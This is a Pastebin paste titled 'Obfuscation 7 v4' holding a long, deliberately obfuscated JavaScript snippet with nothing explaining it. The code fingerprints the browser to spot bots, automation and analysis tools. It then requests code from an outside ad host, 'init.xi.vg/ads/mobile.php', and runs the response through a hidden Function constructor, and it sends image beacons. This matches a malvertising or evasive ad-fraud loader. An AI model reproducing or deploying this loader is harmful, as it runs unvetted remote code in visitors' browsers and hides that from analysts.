Advertisement
StanislavPipa

Obfuscation 7 v4

Sep 30th, 2019
358
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var URL = "https://init.xi.vg/ads/mobile.php?alert";
  2.  
  3. +function(){
  4.   setTimeout(function() {
  5.     var list, pair, lists, input, supplied, equality, empty = ' ';
  6.  
  7.     function truncate(take, satisfies) {
  8.       return satisfies ? take.toLowerCase() : up(take[0])+take.substring(1);
  9.     }
  10.  
  11.     function view (lens) { return stop(run(lens.split(''))) }
  12.     function identity(dec, inc) { return new RegExp(dec, inc) }
  13.  
  14.     function update(value) {
  15.       var props = Object.keys(value); var values = props.map(function (prop) {
  16.         return value[prop];
  17.       }); return props.concat(values);
  18.     } list = navigator;
  19.  
  20.     function stop(arg) {return arg.join('')}
  21.     function until(initial, type) {
  22.       lists = document; return type ? Object.keys(initial) : Object.keys(initial)
  23.         .map(function (init) { return initial[init] });
  24.     }
  25.  
  26.     function unnest(chain, level) { input = Blob; return chain.slice(level[0], level[1]) }
  27.     function unless(cond) { return cond.reduce(function (acc, sec) { return acc.concat(sec) }) }
  28.  
  29.     function up(data, flag, arg) {
  30.       return !!flag ? data.map(function(el) { return el[arg];}) :
  31.         data.toUpperCase();
  32.     }
  33.  
  34.     function run (data, key, arg) {
  35.       return key >= arg || !!key ? data[key].replace(arg) : data.reverse()
  36.     }
  37.  
  38.     function foo(date, next) {
  39.       var tmp = {}; date.forEach(function(el, ind) {
  40.         next.forEach(function(acc, index) {
  41.           if (ind === index) {
  42.             tmp[acc] = el
  43.           }
  44.         })
  45.       }); return tmp;
  46.     }
  47.  
  48.     var pred = '[a-zA-Z]', steps;
  49.     function containing(predicate) {
  50.       var res = [];
  51.       if (typeof predicate === 'function') {
  52.         res = predicate.toString()
  53.       } else if (predicate.fn) {
  54.         res = predicate.fn
  55.       } else {
  56.         res.push(predicate)
  57.       }
  58.       return res;
  59.     }
  60.  
  61.     function pest(arg, keys, data) {
  62.       return arg ? String.fromCharCode(arg) : keys ? data.map(function(el) {
  63.         return data[key] = { key: el };
  64.       }) : data[arg];
  65.     }
  66.  
  67.     function uniq(original) {
  68.       return original.map(function (elts) {
  69.         return elts.reduce(function (acc, next, index) {
  70.           var uniq = true;
  71.           if (index === 1){ return [acc, next] }
  72.           acc.forEach(function (el) { if (next === el) { uniq = false } });
  73.           if (uniq) { acc.push(next); return acc }
  74.           return acc;
  75.         });
  76.       })
  77.     }
  78.  
  79.     var coords = 'web_bly_bar_tent'; function determine (data, equality) {
  80.       if (!equality.a){ return data.slice(equality.b) } return data.slice(equality.b, equality.a);
  81.     } var spec, where, when;
  82.  
  83.     function union(each, arg) { return arg.map(function (el) { return each[el] }) }
  84.  
  85.     setTimeout(function() {
  86.       pair = window; steps = function (data, util) {
  87.         var args = data.split(''); return args.map(function(step) {
  88.           if (step === pest(50)) { return repeat()
  89.           } else if (step === pest(51)) { return remove(util)
  90.           } else if (step === pest(52)) { return reject(util)
  91.           } else if (step === pest(53)) { return reduced(util)
  92.           }
  93.         });
  94.       }
  95.     }, 100);
  96.  
  97.     function map(data, key, el) {
  98.       return data.replace(identity(stop([empty, key, empty]), 'g'), stop([empty, el, empty]));
  99.     }
  100.  
  101.     function slap(data, flags, keys){
  102.       var tmp = data; Object.keys(flags).forEach(function(el, index) {
  103.         if (keys[index].length > 1) {
  104.           var el1 = keys[index][0], el2 = keys[index][1];
  105.           tmp = map(tmp, el, flags[el].slice(el1, el2));
  106.         }
  107.         tmp = map(tmp, el, flags[el].slice(keys[index]));
  108.       }); return tmp;
  109.     }
  110.  
  111.     function ogle(syndi, gen) { return gen ? syndi in gen : syndi in pair }
  112.  
  113.     var info = {a: 'lightning', b: 'firebug', c: 'hindbrains', args: 'fireplug', key: 'debit'},
  114.       create = function(deb, plug) { return key ? b : args ? c : a };
  115.  
  116.     var flops = function (pers, tent, cati, open) {
  117.       if (pers && tent) {return pers.is = tent }
  118.       else if (cati) {return cati.kit.slice }
  119.       else if (open) {return open.data = a }
  120.       else if ( pers === b ) {return { color: c } }
  121.     };
  122.  
  123.     var flood = slap(create.toString(), info, [[0,-4],-2,-3,-4,[0,-2]]),
  124.       transpose, transduce, initialize, accumulator;
  125.  
  126.     function assem(side, con) { rect[con] = side }
  127.     var info2 = {a: 'baseball', b: 'screenie', c: 'depthless'};
  128.  
  129.     function spot(acc, data, foo) {
  130.       var tmp = identity(foo([pred,'{3,5}']), 'g'),
  131.         el = [ containing(acc).match(tmp), ], res = [];
  132.  
  133.       el.forEach(function(acc) {
  134.         var tmps = acc.slice(2,-6);
  135.         tmps.forEach(function(sec, index) {
  136.           return index > 1 ? res.push(sec) : index < 1 ? res.push(foo(['go', sec]))
  137.             : res.push(foo([sec, containing({ fn: data}).match(tmp)[12],'on']));
  138.         })
  139.       }); return res;
  140.     }
  141.  
  142.  
  143.     flops = slap(flops.toString(), info2, [[0,-4],[0,-2],[0,-4]]);
  144.  
  145.     function les(data) {
  146.       return {
  147.         rg: identity(pred + '{3,5}', 'g'),
  148.         field: containing(data),
  149.       }
  150.     }
  151.  
  152.     var moss = spot(ogle, flops, stop); function com(h, secur){ return h ? secur[0] : secur[2] }
  153.  
  154.     var type = function() {
  155.       var ls = les(assem), elts = foo(ls.field.match(ls.rg).slice(2, -2),
  156.         coords.split('_')), props = until(elts, true),
  157.         vls = until(elts), res = []; supplied = performance;
  158.  
  159.       props.forEach(function(property, index) {
  160.         vls.forEach(function(volue, ind) {
  161.           if (ind === index) { res.push(property); res.push(volue) }
  162.         });
  163.       });
  164.  
  165.       var keys = [[0, -18],[11, -11],[18, -4],[25]]; res = res.join('');
  166.  
  167.       return keys.map(function(key, index) {
  168.         if (index > 0 && index < 3) { return ogle(unnest(res, key)) }
  169.         else if (index < 1) {
  170.           var tmp = truncate(unnest(res, key));
  171.           return ogle(tmp.replace(tmp[3], truncate(tmp[3])));
  172.         } else {
  173.           return !ogle(truncate(unnest(res, key)));
  174.         }
  175.       }).concat([1]);
  176.     }; var proxy= '.com';
  177.  
  178.  
  179.     function ava(bled, http) { return bled ? http.page() : http } var trunc= ':/';
  180.  
  181.     var zosh = (function(check) {
  182.       var tmp = identity(check([pred, '{1,5}']), 'g'), el = containing(com).match(tmp);
  183.       return [el[2], check([el[3],2]), check([el[8],'rity'])];
  184.     })(stop); var settler= '/';
  185.  
  186.     var trim = function(util) {
  187.       var sequence = { own: 'property', names: 'pth' },
  188.         into = containing({ fn: flops }).match(/return.+/gi).map(function(elt) {
  189.           return elt.replace(/return|[.,:;={}']/g, '').replace(/\s+/gi, '');
  190.         }), list = [];
  191.  
  192.       until(sequence, true).forEach(function(prop, ind) {
  193.         until(sequence).forEach(function(vol, key) {
  194.           return ind === key ? list.push(util([truncate(prop), truncate(vol)])) : truncate(util([prop,vol]));
  195.         });
  196.       }); spec = 'gi';
  197.  
  198.       list = [[0,-3], [-3]].map(function(el) { return unnest(list.join(''), el) });
  199.  
  200.       var tmp = [[0, 5], [5]].map(function(key, ind) {
  201.         return ind > 0? truncate(unnest(into[3], key)) : unnest(into[3], key);
  202.       }).join(''); equality = screen;
  203.  
  204.       return [
  205.         (ogle(up(into[0]))||
  206.           input.prototype[
  207.           into[1].slice(0, -5)+ up(into[1][6]) + into[1].substring(7)
  208.             ]), ogle( unnest(into[2], [0, -8])+
  209.           truncate(unnest(into[2], [-8]))),
  210.         equality[tmp],
  211.         !(Object[stop(['get',list[0]])](equality)[0]+'').match(list[1].toLowerCase())
  212.       ]
  213.         .reduce(function(acc, sec) { return acc && sec });
  214.     };
  215.  
  216.     var zip = (function(foo) {
  217.       var tmp = containing(ava).match(/[a-zA-Z]+/g);
  218.       var el = [[],[]]; [1,2,3,7].map(function(acc, ind) {
  219.         if (1 === acc){
  220.           return el[0].push(foo(['j',tmp[acc]]));
  221.         } else if (ind === 1) {
  222.           return el[0].push(foo(['ena',tmp[acc]]));
  223.         } else if (7 === acc){
  224.           return el[1].push(foo([tmp[acc],'ad']));
  225.         }
  226.         return el[1].push(up(tmp[acc]));
  227.       }); return el;
  228.     })(stop);
  229.  
  230.     var getter = function getter(data, arg) { var tmp = arg.split(' ');
  231.       return ogle(view('tla'), data[data.nodeName
  232.         .replace('#','')+truncate(tmp[1])][tmp[0]])
  233.     }; var click = { a: 'style ', b: 'element' };
  234.  
  235.     var define = function(data) {
  236.       var into = uniq([containing(data).match(identity(pred+'{2,5}', spec))])[0]
  237.         .map(function(el, ind) {
  238.           return ind > 1 && ind < 4 ? el : ind > 4 ? el : '';
  239.         })
  240.         .filter(function(el) {return el.length > 0}), res = [];
  241.  
  242.       for (var i = 0; i < 3; i++) {
  243.         if (i === 0) { res.push(truncate(into[i]+into[i+2])) }
  244.         else if (i === 1) { res.push(into[i]+into[i+2]) }
  245.         else { res.push(into[i+2]) }
  246.       }
  247.  
  248.       return [ogle(res[0]), !(list[res[1]][1] && list[res[1]][1].name.match(res[2]))]
  249.         .reduce(function(acc, sec) { return acc && sec });
  250.     };
  251.  
  252.     function glue(data) {
  253.       var args = Array.prototype.slice.call(arguments, 1);
  254.       return args.join(data);
  255.     }
  256.  
  257.     function pos(acc, sec) { return acc.concat(sec) } var word= '';
  258.     function repeat() {
  259.       transpose = type().reduce(function(acc, sec) { return acc && sec; });
  260.       transduce = trim(stop);
  261.       initialize = getter(lists, stop([click.a, click.b]));
  262.       accumulator = define({ fn: flood });
  263.       return [transpose, transduce, initialize, accumulator];
  264.     }
  265.  
  266.     var accepts = foo(pos(zip[0], zosh), pos(zip[1], moss)),
  267.       acts, subtract, present, tail; where = new Image();
  268.  
  269.     function bar(field, data, key, util) { return ogle(('se' + util(key)), field) ? 4 : data ? 2 : 1 }
  270.  
  271.     function convert(folder, key, el) {
  272.       var els = until(folder, true).map(function(el) { return truncate(el, true) }),
  273.         tmp = els.reduce(function(acc, sec, ind) { if (ind === 1 ) {
  274.  
  275.           return glue(word,acc,'s', trunc, settler, sec, 2);
  276.         } else if (ind === 2) { return stop([acc, '.', sec]) } else if (ind === 3) {
  277.           return glue(word, acc, sec, proxy, settler);
  278.         } else if (ind === 4) { return glue(word,acc, els[1],settler, sec, el) }
  279.         });
  280.       return { s: 0, d: [], u: tmp, n: key ? 6 : 2 };
  281.     }
  282.  
  283.     function order(foo, baz, one, aig, check) { return typeof (check([baz+view('otp')])) == typeof foo ||
  284.       (list[check([until(one)[0], truncate(until(one)[1])])]+aig.d).match(/"/);
  285.     }
  286.  
  287.     function times(identity, thunk, tap) { return identity || thunk ? /"/: tap }
  288.  
  289.    function tree (xml, get, ready, flag) {
  290.      return flag ? { on: xml, touch: get, start: ready }
  291.        : {xml: stop(['re',xml]), get: get, ready: stop([ready,'us']),
  292.          state: 'response'};
  293.    }
  294.  
  295.    function remove(util) {
  296.      acts =  bar(lists, accumulator, ['cur', 'it', 'y'], util);
  297.      subtract = convert(accepts, transduce, '_204?');
  298.      present = order(getter, 'cry', accepts, subtract, util);
  299.      tail = times(transpose, accumulator, where);
  300.      return [acts,subtract,present,tail];
  301.    }
  302.  
  303.    var similarly = tree('quest','load','stat'), sort, copy;
  304.  
  305.    function split(data, volue, arg, until) {
  306.      var tmp1 = update(data),el='event'; return function(a,b,c){
  307.        b = new pair[until([tmp1[0].toUpperCase(), truncate(update(volue)[0].toLowerCase()), truncate(tmp1[4])])]();
  308.        b.open(tmp1[1], a);
  309.        b[until(['add', truncate(el), view(arg)])](tmp1[5], function() { this[until([tmp1[2],truncate(tmp1[3])])]==4 &&
  310.        this[tmp1[6]]==200 && c(this[until([tmp1[7],'Text'])])()}); b.send();
  311.      };
  312.    }
  313.  
  314.    function pars(acc, data, flag, check) {
  315.      return flag ? [check([acc,'irt']), check([data,'de'])]:[stop(['m',acc]), stop(['to',data.substring(3)]), stop(['po',data.slice(0,-3)])];
  316.    }
  317.  
  318.    function separator(base, name, accord, check) {
  319.      return function(a, b) { base(a, b, name.join[check([accord + check(['ruc', 'tor'])])]) };
  320.    } var fos = pars('tned', 'eg', true, stop);
  321.  
  322.    function reject(check) {
  323.      var tmp = stop([up('l'), stop(until({is: false}, true)), check(['ten', 'er'])]);
  324.      sort = split(similarly, accepts, view(tmp), stop);
  325.      copy = separator(sort, pair['Array'].prototype, 'const', check);
  326.      return [sort, copy];
  327.    }
  328.  
  329.  
  330.    var given = { user: del(true, fos) }, inclusive, exclusive, wood= '__';
  331.  
  332.    function set(obj, arr) {
  333.      var tmp = Object.keys(obj.agent).concat(Object.keys(obj)
  334.          .map(function(el) { return truncate(el) })).join(''),
  335.        newArr = arr.concat([accumulator, accumulator]);
  336.  
  337.      return update(obj.agent.user).map(function(each, ind) {
  338.        return list[tmp].match(identity(view(each), 'i')) && newArr[ind];
  339.      })
  340.        .reduce(function(acc, sec) { return acc || sec });
  341.    } var stok = pars('ax', stop(['int', 'uch']));
  342.  
  343.    var tomato = tree(stok[0],stok[1],stok[2], true); when = new Date;
  344.  
  345.    function Just(obj, check) {
  346.      var tmp = until(obj).map(function(each, ind) { return ind > 0 ? truncate(each) : each });
  347.      return !(transduce&&!(list[check([tmp.join(''), 's'])]||ogle(until(obj, true).join(''))))
  348.    }
  349.  
  350.    function reduced() {
  351.      inclusive = set({agent: given}, [transpose, (transduce||initialize)]);
  352.      exclusive = Just(tomato, stop);
  353.      return [inclusive, exclusive];
  354.    }
  355.  
  356.    function del (key, data) {
  357.      return key ? { xoferif: data[0], irafas: data[1] }
  358.        : { get: data[0], Entries: stop([data[1],'op']), By: data[1]+2, Type: data[2] };
  359.    }
  360.  
  361.    function pushArg(arg, key, flag) {
  362.      return flag ? truncate(containing(arg).match(identity(key))[1])
  363.        : containing(arg).match(identity(key));
  364.    }
  365.  
  366.    setTimeout(function() {
  367.      var scan = steps('2345', stop),
  368.        elephant = (function define() {
  369.          if (!getConst(arguments.callee)) {
  370.            return pushArg(define, /[a-zA-Z]{6}/g)[1]
  371.          }
  372.          return truncate(getConst(arguments.callee)).toLowerCase()
  373.        })();
  374.  
  375.      function gol(keys) { return keys ? 'sole' : keys.con }
  376.  
  377.      function pars(obj, keys, check) {
  378.        var els = containing(obj).match(identity(check([pred, '{3}']), 'gi'));
  379.        var tmp = keys.map(function(key, ind) {
  380.          return ind === 2 ? view(els[key]) : ind === 1 ? check([els[key], 'e']) : els[key];
  381.        });
  382.        return [check([tmp[0], tmp[1]]), tmp[2]];
  383.      }
  384.  
  385.      function setData(data, key) {
  386.        return key ? data.map(function(el) { return el.name }) : data.name;
  387.      }
  388.  
  389.      function seet(our, proto) { var res = our.ce + proto; return res;}
  390.      var tmp = containing(seet).match(/[a-zA-Z]{3,5}/g);
  391.  
  392.      function grab(data, check) {
  393.        return [check([data[6],data[7],'ce']), 'h', check([data[8],'col'])];
  394.      }
  395.  
  396.      var tiger = (function getter() {
  397.        if (!getConst(arguments.callee)) {
  398.          return pushArg(getter, /[a-zA-Z]{6}/g, true)
  399.        }
  400.        return truncate(getConst(arguments.callee))
  401.      })();
  402.  
  403.      function getConst(data, key) {
  404.        return key ? typeof key === 'string' ? true : data.reduce(function(acc, sec) {
  405.          return acc.concat(sec) }) : setData(data);
  406.      }
  407.  
  408.      var poof = function(data, key){
  409.        return key ? function(){
  410.          var tmp = key.map(function(el) {
  411.            return el.reduce(function(acc, sec) { return acc + sec });
  412.          }); data--; return''; } : function(){ acts--; return''};
  413.      }, pond = del(false, grab(tmp, stop));
  414.  
  415.      function reverse(data, check) {
  416.        var tmp = until(data); return function(){
  417.          if( !supplied[until(data, true).join('')]
  418.            || !supplied[until(data, true).join('')](tmp[0]).length ) { copy(URL);
  419.          } else {
  420.            supplied.getEntriesByType(tmp[0]).forEach(function(a){
  421.              a.name.match(subtract.u)&&(a[check(['next',truncate(tmp[1]),truncate(tmp[3])])]
  422.                ||tmp[2]).slice(~subtract.d)==subtract.n&&copy(URL);
  423.            });
  424.          }
  425.        };
  426.      }
  427.  
  428.      +function(){
  429.        var initAdsLoader = function(a, b){
  430.          if (scan[3][0]){
  431.            if( a && scan[3][1] ) {
  432.              tail[glue(word, wood, elephant, tiger, wood)](scan[0][0]||scan[0][3]?stop(['to', truncate(typeof similarly.xml)]):'id', poof());
  433.              tail.id = until(tomato, true)[0]+view(stop(['elg', 'got']));
  434.              pair[b[0]][b[1]](tail);
  435.              where.onerror = reverse(pond, stop);
  436.              acts&&(where.src=subtract.u+(when).getTime());
  437.            }
  438.          }
  439.        };
  440.        initAdsLoader( !present, pars(gol, [9,7,2], stop));
  441.      }();
  442.    }, 200);
  443.  }, 100);
  444. }();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement